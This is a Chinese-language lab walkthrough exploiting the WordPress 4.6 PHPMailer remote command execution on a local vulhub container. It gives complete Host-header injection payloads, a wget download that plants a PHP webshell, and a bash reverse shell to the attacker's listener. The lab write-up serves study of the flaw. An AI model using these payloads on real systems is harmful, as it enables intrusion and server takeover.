前期准备
一台windows10(攻击机)
一台Centos7(靶机)
kali
Docker安装
[root@localhost ~]# yum info docker # 查看docker的软件安装包
[root@localhost ~]# yum install docker #安装
[root@localhost ~]# docker version #查看版本
Client:
Version: 1.13.1
API version: 1.26
[root@localhost ~]# systemctl start docker #启动docker
[root@localhost ~]# systemctl status docker # 查看docker状态
● docker.service - Docker Application Container Engine
Loaded: loaded (/usr/lib/systemd/system/docker.service; disabled; vendor preset: disabled)
Active: active (running) since 五 2022-09-09 19:23:14 CST; 11s ago
Docs: http://docs.docker.com
Main PID: 15463 (dockerd-current)
Tasks: 20
[root@localhost ~]# systemctl enable docker # 开机自启
Created symlink from /etc/systemd/system/multi-user.target.wants/docker.service to /usr/lib/systemd/system/docker.service.
[root@localhost ~]# cd vulhub-master/ # 进入到vulhub目录
[root@localhost vulhub-master]# cd wordpress/
[root@localhost wordpress]# cd pwnscriptum/
[root@localhost pwnscriptum]# curl -L "https://github.com/docker/compose/releases/download/1.26.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose && chmod +x /usr/local/bin/docker-compose # 安装docker-compose
[root@localhost pwnscriptum]# docker-compose -v # 查看compose版本
docker-compose version 1.26.2, build eefe0d31
[root@localhost pwnscriptum]# docker-compose up -d # 运行容器
[root@localhost pwnscriptum]# docker ps -s # 查看容器是否运行CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES SIZE
c533dd348c38 vulhub/wordpress:4.6 "/usr/local/bin/do..." 30 seconds ago Up 28 seconds 0.0.0.0:8080->80/tcp pwnscriptum_web_1 24.8 MB (virtual 317 MB)
ef1dcc6fb503 mysql:5 "docker-entrypoint..." 31 seconds ago Up 30 seconds 3306/tcp, 33060/tcp pwnscriptum_mysql_1 4 B (virtual 430 MB)
# 注意:另外停用容器执行如下命令
[root@localhost pwnscriptum]# docker-compose down # 停用容器
http://10.10.10.131:8080 # 之后在浏览器中输入相应的IP:端口访问搭建WordPress站点
# 之后开始创建等一系列简易操作
我们可以看到站点搭建Successful~~
漏洞原理
WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,(phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload)造成远程命令执行的危害。漏洞利用条件:
不能包含特殊字符
命令需为小写
命令需使用绝对路径
需要知道现有用户名
注意点:命令只在服务器端执行命令、不会显示在客户端
漏洞影响版本:
WordPress <= 4.6 PHPMailer < 5.2.18
漏洞复现
┌──(root💀kali)-[~]
└─# wpscan --url http://10.10.10.131:8080/ # 通过wpsan工具扫描一下此站点的CMS版本
#通过扫描我们发现此站点的cms为wordpress并且版本为4.6存在RCE相关的漏洞
漏洞位置在忘记密码界面在找回密码时WordPress会使用PHPmailer发送重置密码邮件,这个时候PHPmailer<=5.2.18时存在RCE。
在登陆界面点击忘记密码---之后在如下界面中输入刚开始注册的用户名(存在的用户名即可其他没要求) 之后开始通过bp进行抓包
注意:
`${substr{0}{1}{$spool_directory}}`代替`/``${substr{10}{1}{$tod_log}}`代替空格
-----------------------------------------------------------------------------------------------------------------------------------------
意思是在tmp处创建success文件
由于WordPress以及PHPMailer都会防止攻击者注入空字符,并且host字段值中出现/会出现请求错误,所以我们要绕过空格和/
payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替
未采用过滤时的payload
aa(any -froot@localhost -be ${run{/bin/touch /tmp/ggbond}} null)
替换的payload(意思是在靶机的/tmp目录下创建一个ggbond文件)---作用其实就是测试能否写入到靶机
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}ggbond}} null)
之后我们回到靶机看一下是否通过payload创建成功
[root@localhost html]# docker ps -s # 查看容器ID之后进入
[root@localhost html]# docker exec -it c533dd348c38 /bin/bash # 通过上面查询到的容器ID进入此wordpress容器内
root@c533dd348c38:/var/www/html# ls /tmp/ # 我们发现ggbond文件创建成功
ggbond
写入Webshell
攻击机:windows(10.10.10.141)---攻击机必须开启web服务,写一个一句话木马文件,之后操控靶机利用curl或者weget命令下载远程文件,之后通过蚁剑等webshell工具进行连接;windows系统可以通过phpstudy开启。Linux开启Apache服务(在此过程需关闭全部防火墙和杀软);要确保靶机可以访问主机一句话文件
靶机-wordpress: centos7 (10.10.10.131)
windows攻击机通过phpstudy开启web服务;并且创建一个一句话木马文件
如下图本地可以访问此木马文件
在靶机中测试能否访问到木马文件
# 下方为写入webshell的payload解析
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /var/www/html/shell.php 10.10.10.141/ggbond.txt}}null)
#上面的payload意思是:从10.10.10.141这个地址下载ggbond.txt,保存到靶机的/var/www/html下,并命名为shell.php
# 替换后的payload
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}10.10.10.141${substr{0}{1}{$spool_directory}}ggbond.txt}} null)
此刻我们验证一下 看看靶机中是否存在了shell.php一句话木马
最后看下我们胜利的成果
通过蚁剑进行连接
相应配置如下图
效果图
二、通过反弹Shell来获取靶机服务器
接下来我们开始用第二种方法反弹shell进入web服务器
同理攻击机是windows的话通过phpstudy来开启web服务
攻击机: 10.10.10.141(win10)
靶机:10.10.10.131
bash -i >&/dev/tcp/10.10.10.141/1234 0>&1
#反弹shell命令,ip填的是攻击机的ip,端口随便设置一个不冲突的就行
靶机中验证一下我们发现可以访问到反弹文件
因为此漏洞的漏洞点就在‘忘记密码--获取新密码’处
如下图为bp抓取的流量包;将其发到重发器
# 没转义之前的payload
gg(any -froot@localhost -be ${run{/usr/bin/weget --output-document /tmp/ggbond 10.10.10.141/ggbond.txt}}null)
# 转义之后的payload
gg(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}ggbond${substr{10}{1}{$tod_log}}10.10.10.141${substr{0}{1}{$spool_directory}}ggbond.txt}} null)
回到靶机我们看到确实已经成功写入
[root@localhost pwnscriptum]# docker ps -s
[root@localhost pwnscriptum]# docker exec -it 3c00d73cbfb3 /bin/bash
root@3c00d73cbfb3:/var/www/html# ls /tmp/
ggbond
root@3c00d73cbfb3:/var/www/html# cat /tmp/ggbond
bash -i >&/dev/tcp/10.10.10.141/6666 0>&1root@3c00d73cbfb3:/var/www/html#
攻击机开始监听6666端口
C:\Users\18325\Desktop\Netcat>nc64.exe -lvp 6666
# 执行上传的反弹Shell文件
gg(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}ggbond}} null)
# 如下图反弹成功